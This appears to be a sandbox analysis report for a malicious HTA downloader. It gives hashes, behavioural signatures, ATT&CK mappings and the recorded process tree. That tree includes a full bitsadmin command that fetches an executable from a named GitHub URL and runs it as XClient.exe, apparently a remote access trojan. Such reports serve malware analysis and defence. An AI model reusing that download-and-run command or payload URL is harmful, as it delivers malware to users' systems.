3a5485ddacf5d788e1b8f4bbd74184b29ccda60dfdf76965ddcc7e42a8bd6c65

Analysis

max time kernel
30s
max time network
29s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2025, 14:47

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General

Target

Downloader.hta
Size

895B
MD5

e8a17a8d10a7eb69749cb844c4665437
SHA1

c9e8cd7836a8c510effef73909f9d9a53a8cc45b
SHA256

3a5485ddacf5d788e1b8f4bbd74184b29ccda60dfdf76965ddcc7e42a8bd6c65
SHA512

7de295476887ca487060aae04eaa1ce9eddf06af07df69465cb05c60f816df7d711035386000d8398877a68e1a9f86ceb3e9ac50c764421a5ce538748c6b61c0

Score

8^/10

discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1564	bitsadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
40	2976	Process not Found

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	mshta.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
40	raw.githubusercontent.com
39	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	XClient.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 1564	4116	mshta.exe	86
PID 4116 wrote to memory of 1564	4116	mshta.exe	86
PID 4116 wrote to memory of 1564	4116	mshta.exe	86
PID 4116 wrote to memory of 1624	4116	mshta.exe	102
PID 4116 wrote to memory of 1624	4116	mshta.exe	102

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/imaeewy/test-rat-do-not-download-exe/raw/refs/heads/main/installer.exe C:\Users\Admin\AppData\Local\Temp\XClient.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:1564
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/1624-0-0x00007FFE56DC3000-0x00007FFE56DC5000-memory.dmp

Filesize
8KB

Download
memory/1624-1-0x0000000000BE0000-0x0000000000C3A000-memory.dmp

Filesize
360KB

Download
memory/1624-2-0x0000000002C80000-0x0000000002C86000-memory.dmp

Filesize
24KB

Download
memory/1624-3-0x00007FFE56DC0000-0x00007FFE57881000-memory.dmp

Filesize
10.8MB

Download
memory/1624-4-0x00007FFE56DC0000-0x00007FFE57881000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads